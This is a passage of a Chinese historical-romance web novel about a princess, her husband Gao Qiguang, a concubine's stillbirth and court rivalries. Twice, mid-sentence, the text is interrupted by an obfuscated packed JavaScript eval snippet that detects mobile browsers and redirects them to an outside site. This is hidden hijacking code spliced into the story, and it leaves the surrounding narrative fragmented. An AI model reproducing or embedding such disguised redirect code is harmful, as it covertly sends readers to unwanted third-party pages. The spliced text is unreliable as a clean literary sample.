同霞闻言缓缓眯开眼睛,一笑:“你怎么知道我在这里?你生气了么?” 这家酒肆就在他上下职的必经路上,同霞出行的轻车就停在酒肆门前,他路过时一眼就看见了。 “我看到了你的马车,就问了店家。”他无奈一叹,掩下胸中未平的波澜,“所以,你为什么一个人来饮酒?他,又为何会在?” 同霞用力摇头:“我只是出来逛逛,听到这里有些噱头便进来了,不小心就多饮了些。”双臂将他腰间环紧,又道: “我也不知他怎么来的,你再去问问店家就是。不过,我们也并没说什么要紧的——他为什么说你亏负我?这是什么意思?” 她分明已经酒沉,语意却顾得周全,而话锋转折,又是这般恰到好处,齐光心中只觉诧异,恍然却又无迹可寻。 “高相不愿让他门荫入仕,也不许他参加春闱,他急于前程,难免失意。我在高府遇见他时劝过他,他不领情,只以你被御史弹劾之事反驳,认为那是冲着我来的,你是无端受了委屈。” 这些事是同霞不知道的。她没想到,自己竟无意戳中了高惑的心结,而高惑说她借酒消愁,原也是早有前因。 “霞儿,你真的是游逛到此的,没有事瞒着我?”齐光仍有一丝不放心,尤其是看见了她眼中的怅惘。 “你没有,我便也不会有,我们是心意相通的,不是吗?”她却笃然道。 * 齐光将乘马交给荀奉,命其先行回家,而后便抱了同霞登车。行车到底是有些摇晃,出发不久,他便见同霞似乎深睡了,闭着眼睛,一动不动地偎在他怀里。 “我的簪子你拿了么?” 他方抬起脸,想撩开车帘看看外头,却听她忽然发问,再垂头看,她倒是没有睁眼,“拿了,没有漏下。”淡笑又道: “我看你日日只插戴这支玉簪,别的金银珠玉倒不大碰,这玉簪有何特殊之处?是陛下所赐?” 同霞只一笑,撑开眼皮觑了他一眼,道:“你就是再眼拙,比着那些金银珠玉,还看不出高下?这玉质不够通透,雕工也不算精致,怎会是陛下所赐?” 齐光果然不是行家,他反而觉得这簪子玉色青翠,与同霞很配,“那是怎么来的?不是宫中之物?”他紧了紧眉心,求教道。 同霞半晌不曾作声,忽而却从他怀中支起身子,微微一笑:“其实像我这样的公主,宫里还有。陛下的五公主萧婵,生母也是个低微的宫人,生下她后便去了。她一个人在鹤羽宫的公主院长大,既不得宠,至今也没有封号,除了应有的供奉,再无多余的赏赐。这簪子就是她送我的新婚贺礼,应该是她很拿的出手的物件了。” 齐光不料一支簪子背后能有如此关联,既惊诧,也不由横生好奇。除了同霞主动说起的那些并非隐秘的身世,他毕竟从未深究过她的前十五年岁月。再三确认过她的神色是愿意的,他终于问道: “所以,你也是一个人在公主院长大,像她一样无人问津?那陛下怎么能想起你,对你如此宠爱?” 同霞笑笑,鼻翼微觉发酸,“宫里的孩子至多五六岁都要搬到鹤羽宫居住,但我和萧婵这般,生而失恃,自然便会孤苦些。我十二岁时尚无封号,连名字也没有,敬我些的称一声十五公主,看不起我的,哪怕是宫人也敢叫我小十五。” 感觉到他的脸上透出悲悯,她摇了摇头,“帝王血胤不是尊贵的准则,恩宠才是,这样浅显的道理你不该不懂。”顿了顿,忽向他腰间伸手,取来那枚她赠予他的承露囊,问道: “你可知道承露囊的典故?” 齐光点头,道:“源于风俗,以雨露喻恩泽,君王之恩,或是父母之恩,承露者为人臣,为人子。” 同霞赞许地一笑,接过话端,道:“那么父母已逝的人便是孤露。我生来便是孤露。” “先帝山陵崩时,你已十二岁,怎么能叫生为孤露?”齐光很是理解她并不属先帝宠爱的子女,但隐约却能感觉到不寻常意味。 同霞却作一哂,“那是先帝,不是父亲。”又道:“我如今所承恩露,皆来自于陛下。” 齐光心中一震,眼睛不由睁大,接踵而至的是肺腑之间一股不断沉坠,又不停翻搅痛楚,竟像是能从她并非细致描述的话语中,如临其境般感知她幼年的凄凉。 不容他缓解,又听她继续道:“陛下仁德,犹重家人之情,即位的头件大事便是恩封宗亲,姐姐们都晋了长公主,独见我一个尚未成年的幼妹,与他的女儿年岁相仿,便很是怜爱,给我取了名字,又赐了邑号。我感激他,每每也趁机讨他的欢喜,才至如今恩宠。” 齐光轻轻点头,“陛下确是仁君。” “可他将我交给皇后抚养,我却不怎么喜欢。”她话音突转,又赌气般歪倒在他肩上,轻哼一声: “原本我是想跟着德妃娘娘的,七郎与我一般大,我们从小要好,他还住在东宫时就常常溜来找我玩。” 她与皇后、与高家的关系,齐光是清楚的,此时不禁问道:“陛下所托,皇后就是再严厉,也只怕要顾忌些吧?” “她有亲生的公主,又抚养陛下的长子,儿女双全,根本不嫌冷清——凭他们高家的权势名望,又怎会看得起我?我闯的那些祸事,多一半是被她小题大做,闹大的。” 齐光不防她如此直白,面容一怔,一时不知怎样接话。 同霞亦像是说到了尽情处,长长地舒了口气,但只片刻,忽又直起了身,将他脸颊捧住,问道: “我这些只是从前的牢骚,不算诋毁高家吧?你可不要想歪了,我不是想离间你和高家的关系!” 这一句就更加不留余地了,齐光半张着嘴吸气,舌苔发干了才一抿:“我没有那样想。”无奈一叹,不禁蹙眉,将她摆在自己颊上的双手握下,合在胸前,道: “你的手很冷,以后不要一个人出来饮酒了,我会担心的。若是为此伤身害病,我更会心疼的。” 同霞凝视着他,只觉他一双瞳仁格外 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荀奉素日只跟随齐光左右,从未侍奉过公主,此刻只见公主面露愠色,心中万般惶恐,又实在答不上来,只得硬着头皮道:“回公主,小臣也是才知……” “好了!”似经过一番深沉的思量,齐光忽然打断了荀奉,转身便将同霞揽入院中,神情凝肃,又流露急切,“医官和阿黛都在,想必是有惊无险,我们先回房等。” 他待冯氏素来冷漠,同霞如今也知他另有情由,可抛开一切不论,那个正在经历生死的孩子却也是他亲口承认过的。 “高齐光,你怎么说得出口?”她甩开他的手,缓缓摇头,一颗心沉入深谷。 “我……”齐光无言以对,隐忍着身躯的颤抖,眼中竟只是如同怯懦般的不忍。 “阿黛娘子,里头怎么样了?” 正当二人僵持,荀奉忽然高呼了声。同霞很快转过脸,可第一眼,竟只见高黛双手猩红,衣襟斑斑。 “如何?!你说,快说!!”同霞怒喊道,没一丝耐心,也不想有耐心。 高黛看向齐光,又含泪转开脸孔,“表姐暂无大碍,但孩子没有活下来,是个女孩。” 女孩儿,八月而诞,死了。 天地草木,一时倒悬,日月黑白,亦是颠倒。同霞听到耳畔竭力的疾呼,但再也支撑不起这副身躯。 * 如水之深,如火之热,才坠深渊,又经烈火,无穷无尽,循环往复,可一身血肉淬火不化,沉水不腐,终于又被放逐人间。 她仍看见她倒下前最后所见的面孔,没了声嘶力竭,却如明镜,照出了她此刻鬼魅般的容色。他流泪的双眼充斥着她数不清的情绪,有悲伤,有愧悔,也有万念俱灰。 “高齐光,你是一个什么样的人呢?”她声音喑哑,几乎无声,嗓中一字一裂的剧痛却逼她发出纯粹而直白的求问。 他只是哭,毫不掩饰他的无能。 可又何尝不算是婉拒她的问? 她笑了,又道:“你知道,我那时听你说,你不能遗弃你母亲所托的妾室,而且她也有了身孕,我是什么感觉?我想啊,你可真不一样,和先帝不一样,和权贵不一样。但你怎么又变了?你为什么对自己的孩子这么无情?就因为她的生母无足轻重?难道你本来就是这样的?” “不是!”他居然表露出巨大的惊恐,义正而词严,眼侧的青筋暴起,如裂玉之痕,有切骨之恨。 “不是什么?”她复是一笑。 “那不是我的孩子!也不是——八月而诞!” 24.白露细草 夜深到极处便将迎来破晓,而夜也静到极处,除了他的心跳和他的坦陈,她却诡异地无法探知自己的心声。 她只能将故事听完。 他说他从来没有喜欢过冯贞,只是无法拒绝母亲临终的托付。母亲去世后,他也只是照旧接纳冯贞住在家中,纵知她有心,也不曾动摇分毫。 不久后他登科入仕,举家便随他迁到了兖州。在兖州的五年里,他曾几次试图劝说冯贞,许诺为她找一户可靠殷实的人家,可她却以死相逼,固辞不肯。 到了去岁,他即将启程进京,与同僚聚宴醉酒,却不慎让有备而来的冯贞钻了空子机,与他一夜同寝。他坚定自己没有做什么,但同榻的事实摆在眼前,他也口说无凭。幸而是高黛发现了破绽。 那时启程之日将近,高黛外出置办行路所需,一日竟撞见冯贞与一个书生模样的男子在小巷中纠缠。自那夜后,冯贞原是不大出门的,高黛想要弄清原因,便走近探听了一番。 冯贞语出嘲讽,说那男子无用,屡试不第,辜负了她。而那男子竟质问冯贞为何明知有了他们的孩子,还如此狠心断绝。可冯贞又是理直气壮地告诉他,自己要随表兄进京享福了。 等到高黛将真相告知他,兄妹一道打探到那个书生家中时,那书生却已受不住连番打击,投湖而亡。也正是这日,高琰遣人送来了书信,催促他尽早赴任。 几番权衡下,他只好以大事为重,也为了冯氏腹中无辜的孩子,不曾将她戳穿,只待她平安生产,彼时也已在京中安置,便可将前后事情从头算起。 然而,谁也没有想到,就在冯贞自以为瞒天过海,向他明言有孕之际,他却遇到了同霞,又在不容他辗转的短短时日内,被天子赐婚,做了皇家的驸马。 故事言尽,天际已白。 他一直将她从后抱在怀里,毫无间隙地贴靠着,希冀将每一个字都清晰透彻地送入她的耳内。音落许久,他终于等到她的提问: “冯贞既然是你的亲表妹,你母亲又那样重视托付,为什么不让你直接娶她为妻?” 他攒聚的眉心未曾一松,复又深折,道:“因为我不喜欢她,为妻为妾都一样,我不会答应。” 她气息粗重地一笑:“我知道了,当初陛下召见你赐婚,哪怕有杀身之祸,你也要以早有纳妾做借口,原来是因为比起她来,你更不喜欢我啊。” 他能料到她会如此注解,果然听见,却只有猝不及防的万箭穿心,“不是!我只是……只是不明白,太过突然。我是喜欢你的!” 她能感受到他此刻正在拼尽全力,她也并不能苍白而武断地否认他的心意。她在想,他说过许多表达“喜欢”的字句,却是第一次对她直言“喜欢”,这应该是不一样的。 而她自己又何尝不是第一次直白地试探? 她努力调转身子面对他,却发现他们此刻是如此相似,一样迷茫的眼睛,一样的落魄的面孔,竟然还有掩藏在面皮之下,一样欲说还休的苦痛—— “高郎,我也是喜欢你的。” 她闭上双眼向他怀抱深处倾去,就像当初决定炮制一场精巧的偶遇,毫无惧怕,也毫不留余地。 她本该如此,本该如此。 * 原是为冯贞母子传来的医官,连日却为同霞的病症滞留在了小宅。齐光亦抛开了一切外务,寸步不离地守在榻前。 这一整日,同霞片刻未曾清醒,时而大汗,时又高热,将到晚间才勉强含入了几块糖,汤药水米却是点滴未进。眼看稚柳又将新药换来,已不知是第几次,齐光只觉焦躁,嘱咐她暂且看顾,自己径直去了医官下榻的后舍。 医官胡遂正在房中指教随行的医工配药,忽见驸马到来,连忙敛衣行礼,被齐光一力拦下,只问他道: “高某不敢轻狂,胡医官不必多礼。我只想知道,如何才能让公主吃下东西?” 胡遂是自同霞幼年便侍奉诊疗的,对她的病症深有了解,思索片时,不由叹道:“公主天生不足,症候多在血气不和,脾阳不振,而此番起病凶猛,仍是气血郁结的脉象。下官斗胆想问,公主近日可是情志不畅,或至不能安寝?” 齐光听得脸色一白,相扶胡遂的双手不由垂落,半晌才滞涩道:“那……既是旧症复犯,可有良方?至少能让公主咽下汤药。她若只能吃糖,如何能支持得住呢?” 胡遂转看案上排开的药材,皱眉道:“其实公主自小喜糖,原也是臣想出的无奈之举。一则,糖味甜,孩童多喜爱。二来,制糖所用的饴糖,性味甘温,有补脾和胃之效,本也是一味药……” “那就将饴糖化在药汁中,熬作糖浆,可行得通?”不待胡遂说完,齐光便恍然生出一念,又近乎激动地攀住了胡遂的手臂。 胡遂不防一惊,但立时认同道:“下官正是此意!” 齐光这才松了口气,“那就劳烦胡医官即刻熬制!”说着便要转身,忽又一顿,“高某尚有一事相求。” 胡遂自然不敢拖延,见状只当他仍有嘱咐,道:“驸马放心就是,下官这就亲自看药,定不出一个时辰。” 齐光却缓缓摇头,沉声道:“胡医官既是公主自小信任之人,那高某也想托付医官一事——医官此来,只是为公主看诊,并无别事。” 胡遂略略一怔,很快明白了过来,向齐光拱手一礼,仍道了句:“驸马放心就是。” 齐光不再多言,深深还过一礼,终于出门离去。 然而,匆匆返回的步伐又在檐下被唤住,“何事?” 高黛久候于此,望见他浑身的不耐烦,苦笑道:“你嘱咐胡医官遮掩冯贞之事,肯定不是为了自己的颜面吧?” 高黛连日来往冯贞院中照应,齐光并不惊讶她听到了刚才的谈话,只从容告诉她道: “胡医官自能看出那孩子并非早产,可我并不在乎。当初我为拒婚,情急之下失之周全,才至纳妾之事尽人皆知,令公主饱受讥议。如今孩子既没保住,传扬出去,难道会有什么好事么?” 高黛不禁蹙眉,既是明白,又感无奈,道:“你对公主那般解释,公主信了么?” “我不知。”齐光闭目摇头,“但事到如今,我没有更好的办法了。我从一开始就大意了,我高估了自己的心,也看轻了她的倔强——她于我而言,已经不是一个变故了。” 高黛一瞬只觉心酸,但久悬心头的疑惑倒有了答案,“那么,你能确定她的本意了么?她是萧家的公主,还是高家的公主?” 齐光舒了口气,没有回答。 * 同霞于数日后的月夜悄然醒来,枕畔不意外是那人疲倦至极的睡颜。然而,她并未出声一动,他竟忽然惊醒,身躯弹直,与她目光相撞,又慌得额冒细汗: “……饿不饿?要什么?” 他的眼白布满血丝,音调克制得如同哽咽,同霞望了他片刻,才微微一笑:“我想洗澡。” 她连日虚汗不止,纵是每每更衣擦拭,肌肤也难免黏腻不爽,齐光深知,忙向屋外吩咐准备,顷刻转回,牵住她伸来的一只手,小心又问:“要不要糖?” 同霞方才睁眼时便觉口中既有甜味,又残存苦涩,想来他给自己喂药也掌握了以糖佐药的要领,“什么糖?我没有辨出味道。” 齐光皱眉一笑,将与胡医官商议的“药糖”说了,又道:“你现在醒了,可以吃你喜欢的,想要什么?乳酥糖?” 同霞不料他能有所创新,但只笑着摇头,缓缓又合上了双眼。齐光知她此时虚弱至极,也不再追问,握着她的手贴在自己颊上,仍安静地守在榻下。 不多时,稚柳备齐沐浴物品进来禀告,齐光才附去她耳畔轻唤了声。同霞并未再睡,一面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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稚柳自然知晓,只是承望她能先养病,终究无用,只好如实相告:“妾也存了心思,悄悄去问过胡医官,但他说,那孩子并非早产,从第一次为冯贞看脉,他就有所察觉。只是医官常年侍奉内宫,行事一向谨慎,他便没有声张。” 齐光已坦白冯氏怀孕的内情,同霞还不及告知稚柳,果见她心思周密,满意地点了点头,又道:“那她没有哭闹么?” “孩子没有保住,是因为在胎里就被脐带绕住了脖子,出来便断了气。胡医官说这并不是什么罕见的缘故,冯氏也看到了孩子的样子,她怪不得谁,只能安静休养。” 事情说完,破绽明显,却丝毫不见同霞稀奇,稚柳不免反问:“孩子的月份不对,就说明可能不是驸马的孩子,公主就不疑惑?” 同霞握住她正为自己擦拭的手,云淡风轻道:“驸马已经告诉我了,那是冯氏与人私通的孩子,妄图瞒天过海而已。” 稚柳一惊,想起冯氏那日自述的话,有些糊涂,“所以,公主如今还是愿意相信驸马的真心?那高娘子的事……” “姐姐,她们都不重要,不是么?”同霞含笑打断她道。 * 晨光熹微之时,齐光回到房中。同霞半倚榻上,一副纤薄的身躯几被青丝覆盖,浴后尚未散去的热气在她青白的脸上着了淡淡红晕,像是绝好的气色。 “你没有睡?”同霞问道。 他摇头:“可觉得好些了?” 同霞笑笑,却将面孔转向窗台,“方才稚柳开窗散气,我看到书房墙下竟生了一排细草,草尖还沾着露水。杜牧诗言‘秋尽江南草未凋’,繁京不是江南,也能秋日生草,倒是件可喜的事。” 向来春风生草,秋风转蓬,草木顺时荣枯,并无本心——原是无情物。 “嗯,可喜。”他没有去看,只依从道。 25.彤庭宣麻 同霞静养逾月,病势虽趋平稳,偶尔夜中仍会发热,到底不算痊愈。但她只看作平常,不过是比身体好时多吃两顿药,精神不佳便去睡。反正自成婚以来,深居简出已成了她的口碑。 何况,凭它寒雨经窗,繁霜侵幕,总也不会悄无声息。 一日下午醒来,同霞正见稚柳走到帐下,手中并没端药端食,想了想,问道:“李固已经打听来了?” 稚柳抿唇颔首,扶她坐稳,方低声道:“裴昂果然有个小女待字闺中,今年十六岁,名唤裴涓,涓流之涓。” 裴昂,便是那位为同霞主婚的礼部尚书,亦是驸马高齐光的座师。昨日朝会,皇帝当廷颁布了一道制书,加授了裴昂“同中书门下平章事”的头衔。他从一个纯粹的礼官,一跃成为了可以参知枢要的宰相。 朝廷的人事变动,除了每年吏部的岁考,官员可以按绩转迁,其余便是皇帝的亲自任命。而如今已是孟冬,正到岁考之际,皇帝却忽然卓拔裴昂,同霞觉得,这其中必有深意。 “公主打听裴昂的家事是想做什么呢?”稚柳只知同霞的心事在于高家,并不解她此举目的,“难道裴昂也是高氏党徒?” 同霞一笑,道:“他自然不是高氏的人,否则之前陛下怎会让他主婚,戏弄高琰呢?七郎选妃至今未有着落,都是礼部在办的,他为礼部之首,难道不是在等陛下点头?裴昂,是陛下的人。”又道: “你不记得了?我早说过,陛下一定会选一个能让高氏的辗转反侧儿妇。” 稚柳这才恍悟,道:“若裴涓当真做了许王妃,许王便也有了做宰相的岳丈,虽仍不及肃王,到底也算给高琰心头扎了一根芒刺。” 同霞赞同地点头:“高琰仍是首相,再是忌惮,也不能明着与陛下掣肘,与裴昂交恶。我倒是觉得,肃王会更加坐不住。驸马为徐纵案已去安抚了他一次,或许这回他也会做点什么。” 提到驸马,稚柳不由敛去了些许喜色:“驸马才智出众,越发深得高琰信任,长久下去,总与公主背道而驰,公主未免太辛苦了。” 同霞揉了揉眉心,淡淡道:“他若不是高琰的门生,我当初又怎会选他?他果然是个劲敌,我也可有的放矢。” 其实稚柳原也不大甚解,同霞为什么非要选一个与高氏深有渊源的驸马来图谋大事,此刻才算略能体会,叹道: “公主若只为知根知底,知彼知己,那将来事成,公主难道要将驸马一道论罪么?” “我什么都没有,唯有一己之身,若不深入虎穴,以身饲虎,还有什么胜算?驸马——” 她未及说完,余光忽觉窗外人影移动,忙闭了口。稚柳亦警觉,立马前去察看,启门倒见正是驸马回来了。 “公主是醒是睡?这半日可有不妥?” 稚柳才要回答,又见他身后跟着两个女医,面貌熟悉,是先前曾随胡遂在此看诊的。齐光觉察她的眼神,只直接解释道: “公主久不痊愈,我与胡医官斟酌疗法,让她们来为公主施针。” 稚柳只感惊诧,想起同霞八岁时也犯过一次重症,胡遂便要针灸疗治。为怕孩童恐惧乱动,哄睡后才下针,却还是让同霞因痛醒来,大闹一场,此后便再未用过针灸。 然而,她正欲告知齐光此事,却先听同霞声音传来:“让她们进来,你暂且下去吧。” 稚柳皱了皱眉,也无话可说,让了三人进来,自行而去。 齐光仍先叫女医留在帐外,伏去榻前,将同霞细细看过,方柔声道:“这半日都睡着?可吃什么没有?” 这人是到几日前才被她三催四请地恢复上职的,今早也如常出门,半途回来,同霞倒不料想,只反问道: “我一日不好,胡遂便一日不会松懈,可你倒好,不听我的话,又去管别人的营生,你干脆拜胡遂为师,也去做医官罢了!” 她口若悬河的本领倒并没因久病而生疏,只是缺少血气的脸上,一对时隐时没的笑涡却只令人心疼,齐光歉疚地苦笑,道:“你要是能快些好,我去拜师也无不可。” 她既然同意叫女医进来,便不是想辜负他这片心意,然而面对听来,看见他的神色完美地契合着此情此景,心中却忽然薄生嫌恶。 “那就叫她们开始吧。”迟疑片时,她以一笑掩过。 齐光点点头,唤了女医进来。同霞也认得她们,知她二人年长者为主,另一个是辅,便点了长者上前,问道: “你们要扎我哪里?” 太医署的女医也同医官一样,多是侍奉宫眷贵女,行事沉稳,虽听公主语出戏谑,仍从容应道: “公主病在脾阳不振,身体虚寒,按照胡医官的指教,妾会为公主在背部的脾俞、肾俞、命门三穴下针。” 听上去不太复杂,但也听不明白,同霞只有点头,目光转到齐光面上,不禁低头:“你不出去?”又转口道:“你还是别走了。” 齐光并没有想离开,见她流露情怯,轻叹了声,“我不走,别害怕。”他将她揽到怀里,一面附耳细语,一面轻轻抽开了她的衣带。待将她扶送枕上俯卧好,方为她一点点脱下了贴身的小衫,露出脊背。 女医早已备好针灸等物,伏跪榻边,道:“妾这就为公主施针,下针会有些胀痛,还请公主恕罪,也稍忍耐些,切莫扭动。” 同霞轻应了声,将脸转向了里侧。齐光不便站得太近妨碍女医的举动,但仍尽力伸去手臂,牵住了同霞的手。 女医下针精准,整个过程既没有出血,也似乎格外轻。齐光并没感到手被攥紧,同霞也丝毫未动。然而等到女医收针退出,他重新为她披上衣衫,将人抱转,一眼只撞见两汪泪光。 “我哪里得罪你了?为什么叫她们来扎我?都疼死了。”同霞鼻头微微透红,怨怪地看着他,向他讨伐。 齐光不由怔住,胸口如遭重拳,闷闷作痛,不知该说什么,半晌忽而跑出门外,再待返回,手里握了一包针袋,“你扎我,好不好?” 同霞没有料到,吃了一惊,“我……”咬唇结舌,倒也不知如何应对,“我不会扎。” 她努着嘴,满脸仍写着委屈二字,胡乱系起的衣带似成了死结,半边肩膀却还露在外头。齐光缓缓舒了口气,心中愈觉犯下大错,却不再慌乱,放了针袋,再次将她拥入怀中。 同霞无数次听过他的心跳,有时沉稳,有时飞快,而此刻又是一种时高时低的紊乱节奏,如疏雨敲窗,如碎珠弹地。“你在想什么?你的心为什么这么乱?” 齐光却一笑,紧了紧环住她身躯的手臂:“我在想,我是不是总让你不开怀。” 他语含深意,却又表达得浅薄,不知是要让人反问,还是仅仅认同便可,同霞捉摸不定,只道:“那你叫她们下次别来了。” 齐光半晌没有再言,同霞疑惑抬头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16814409|188272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,竟见他鼻梁两侧正垂下两道直直的泪痕,“你哭什么?我不怪你了,也没有扎你。”她无措地倒吸气,想为他擦拭,又被他一把按下手。 “怎么了?”她继续反问。 泪水挂至他的下颌,一滴一滴打湿了绿色的官服衣襟,这代表低级官吏的服色,亦是昭示青春正茂的服色,变得一层惨绿;泪水浸没的面庞仍眉目如刻,清晰动人。楚楚儿郎,原来就是这样。 他终于开口:“你选我做驸马,是委屈你了,我只是太过愧疚。” 这或许是他的一念心意,但绝不是此刻的实话。他不愿意说,她也不想再求解。 “这个就放在你这里,下次我再惹你不快,你就扎我。”他侧身拭去泪水,却仍未忘记针袋,终究交到她手里。 同霞没再拒绝,望了片时,转身压到了枕下,“这可是你说的,我不是阿黛姐姐,不懂医术,若是扎坏了你,可不负责。” 齐光不意她点到高黛,但极短的停顿后仍坦然点头:“只要你高兴。” 同霞微微一笑,倚回他身上,轻抚他尚且潮湿的衣襟,缓缓又道:“你告假多日,才去几天又半途早退,弘文馆就闲得这样?眼看岁考将至,你就不怕考绩不佳,又贬你出京去?” 齐光笑道:“他们不敢治驸马的罪,我也可说是在王府授课,他们也不敢去问许王。” 虽是取笑的戏语,同霞却忽然有所启发,“对了,说到七郎,他怕我病中无聊,总会与我说些新鲜事。昨日还特意遣人告诉我,你的座师,也是我们的主婚人裴尚书新授了同平章事。我想,你该去登门恭贺,也算我一份心意。” 齐光早已敛笑,扶起她双肩,问道:“许王怎会说这些?” 他看似好奇,实则狐疑,同霞一偏头,只圆着眼睛反问道:“这有什么不能说的?”抿了抿唇又道: “宣麻拜相的大事,上一回还是陛下即位,在第一次大朝上拜高琰为中书令呢。别的宰相也没有这样当廷任命的排场。况且裴尚书也与你我有些渊源,我还以为你回来也会说起,倒没有。” 齐光自然早已知晓,可同霞这般说法,却也同他“早退”的借口一般,不可求证。 “我位在六品,每月只朔望两日才可朝参,昨日是初九,我也是到馆中后才听闻。陛下用人的大事,我也无可置喙。”他这样解释道。 皇帝对他们夫妻的恩宠,多在财货之赏,对比其他驸马的官爵,高齐光倒算垫底。这大约是有高家的缘故,也或许还因为他是第一个进士出身的驸马,与那些勋贵子弟有所区别。 思及此,同霞又道:“裴昂与你出身相似,二十五岁时才是九品,如今不也拜相了?你还有高琰的提携,怎么忽然妄自菲薄起来了?” 齐光眼中一顿,旋即化为羞惭一笑:“我哪有?” 同霞却要究根问底:“那你要不要去道贺?高琰不会连这个胸怀都没有的,你别怕。” 她若只为顾念主婚的人情,不必接连提起高琰,亦不至到今日才想起与裴昂的渊源;可若说她别怀心意,又能是什么? 她连自己被御史弹劾的事都毫不关心,连自小唯一亲近的许王,也能在婚后刻意避嫌。她并不是一个喜欢干涉朝事的公主,一切像是约定俗成的、公主必备的仪仗与威势,她都不屑一顾。 她让人找不到一丝破绽。 “嗯,我该去的。”他说道。 26.其心孔艰 兰陵坊第二横街东头的一座府邸前,因家主裴昂新拜宰辅,前来祝贺的人时时不绝。但因裴昂暂未归家,阍房的门吏也不敢擅自放客进门,只好一一收下拜帖,理清来历,预备家主查问。 这些人不外乎是裴昂的同僚下属,晚生小辈,门吏便也不怕怠慢,不过待以寻常的礼节。直至来到一位绿衣的年轻官吏面前,看见他双手递来的拜帖,上书“高齐光”三字,方一大惊: “高驸马!” 齐光才自街边下马,站在拜会的人群之后,门吏这声惊呼倒瞬间引得众人目光向他聚来。而连区区门仆都知道他的名号,这些眼光就更不陌生了。 有与他照过面的,即刻便上前寒暄起来;也有不相熟的,不免原地打量;还有颇具见识的,想起裴昂虽是他的座师,他如今却是高琰的门生,皇家的驸马,竟不知他为什么还要“纡尊降贵”。 齐光也不难看透睽睽众目,却丝毫不乱,与寒暄者还礼,向注目者微笑,应对得无不周全。 “老夫远远看来,还以为是车马撞到了人——没想到,竟是驸马驾到,不是车马阻道!” 一道苍劲的嗓音忽从天降,截断了一片嘈杂。众人恍然循声看去,竟见是裴昂骑在高头马上。 终于等到主人归来,此情此景,众人却都不约而同地没有作声。等到裴昂洒然下马,又都退到了路旁,留出了一块宽敞的空地。 被迫众星拱月的驸马仍神情自若,向裴昂含笑揖礼道:“老师新膺峻秩,荣班宰辅,学生今日是特来向老师贺喜的。” 裴昂目视前方,却向皇城所在的北方拱手道:“陛下天恩,委臣重任,老臣不敢自得。”轻哼一声,方将眼睛下视齐光: “高驸马这一声‘老师’,老夫亦当不起。老夫在礼部任上多年,主持春闱非止一次,登科的士子更是数以百计,老夫岂能个个都认得?” 裴昂分明是奚落之意,众人虽早看出端倪,也没想到他能将话说得这样难堪。细碎议论声又泛滥起来,只见高驸马的脸色果也僵住,似乎不知怎样应对。 裴昂却还没说完,扬面又道:“况且,高驸马当年不过中二甲末位,能有如今的风光,老夫可不曾出力半分——但不过,高驸马既肯赏光一顾,老夫倚老卖老起来,也有一言相赠。” 裴昂断非缓口接纳的意思,但齐光也只得顺从,复一揖礼,道:“下官洗耳恭听。” “人可以无知,却不能无耻。高驸马也是读书人,想来不难懂。” 话音掷地,裴昂随即朗声一笑,若无其事般转对两旁众人招待起来。齐光站在原地,直至众人都进了裴府大门,方缓缓转身一看。 “公子,现在怎么办?”跟随齐光而来的荀奉目睹一切,这时才得以问上一句。 齐光垂目看向他手中所捧的贺礼,只道:“回家便是。” * 齐光往裴昂府上道贺,大约也不必许久,可同霞没有想到,先等来人却是萧遮。他近日虽非稀客,但这回却带了一脸愤郁之色,脚一站下便是一通倾箱倒箧。 他不领职事,又尚在读书,同霞一时想不到他有何烦恼,只以为他在兄弟间又受了什么委屈,或至被德妃训斥。谁知三两句听来,竟是在裴昂宅前看见了高齐光的情形。 “我本想绕道兰陵坊,去那里新开的一家铺子买些新鲜口味的糖给你,谁知就看见了高齐光。他不是高琰的门人么?难道又想琵琶别抱?裴昂当着那么多人说他无耻,我都替他脸红!” 同霞惊讶于这样的巧合,也意外裴昂过激的态度,忖度道:“是我叫他去的,不过全一个人情,官场上不都是这样经营交往的?没想到裴昂如此耿直,倒是我让他受委屈了。” 萧遮看不懂同霞一副不浓不淡的神情,直直又道:“我看未必是你让他去,他才想去的。他能攀附高琰,就能做出此等事。你一个女孩儿家,哪里知道那些门道?” 同霞摇头一笑,想说什么,忽咳嗽了两声。萧遮这才觉得自己似乎忘情,口气太冲,忙端了水细细送去,索性就在榻边蹲了下来,缓缓说道: “我很记得你嘱咐我的那些话,但我没办法骗你,我实在对他喜欢不起来。我也很担心你,同母亲说起,她的眼睛都红了。小姑姑,你和他在一起真的开心么?他不止你一个妻子,本就配不上你,如果你不开心,我可以去和陛下说,让你们离婚,你不要害怕!” 萧遮最可爱之处便是明明力不能及,但只要事关他在意的人,便浑身都是胆气。他这样直白得稚气的体贴,同霞不可谓不动容,但揉了揉发酸的鼻子,仍是摇头: “我爱生病,从前就这样了,与他无关。”伸出一指点了点他的脑门,又道:“你选妃的事虽未定,但必不会只有一个正妃。你不能一心一意,还好意思说别人?” 纳妃之数是祖制所定,萧遮虽无言以对,想来又不服:“他又没有祖宗章法压身,一个寒门竖儒能娶公主为妻,已是一步登天了,还想叫公主之尊与姬妾同论不成?他……” 眼看他又要口无遮拦,同霞只想齐光应与他是前后脚,至多晚一二刻便会到家,院子又小,倘或叫齐光听见,徒然多事,便制止道: “你不当他是姑丈也罢,我不计较,可他毕竟还是你的老师,这一年来没有功劳也有苦劳吧?” 萧遮果然面露惭色,但咬着嘴,眼睛圆睁,半晌忽又低声道:“小姑姑,你难道还不知——他已经不是许王师了?” 高齐光没有告诉她,一个字也没有透露! 同霞心中一沉,耳内亦似觉一阵盲音,手撑榻沿,强忍不适,道:“这是什么时候的事?” 见她的脸色骤然变白,萧遮方觉不妙,忙将她扶住,虽愧悔,又不得不解释下去: 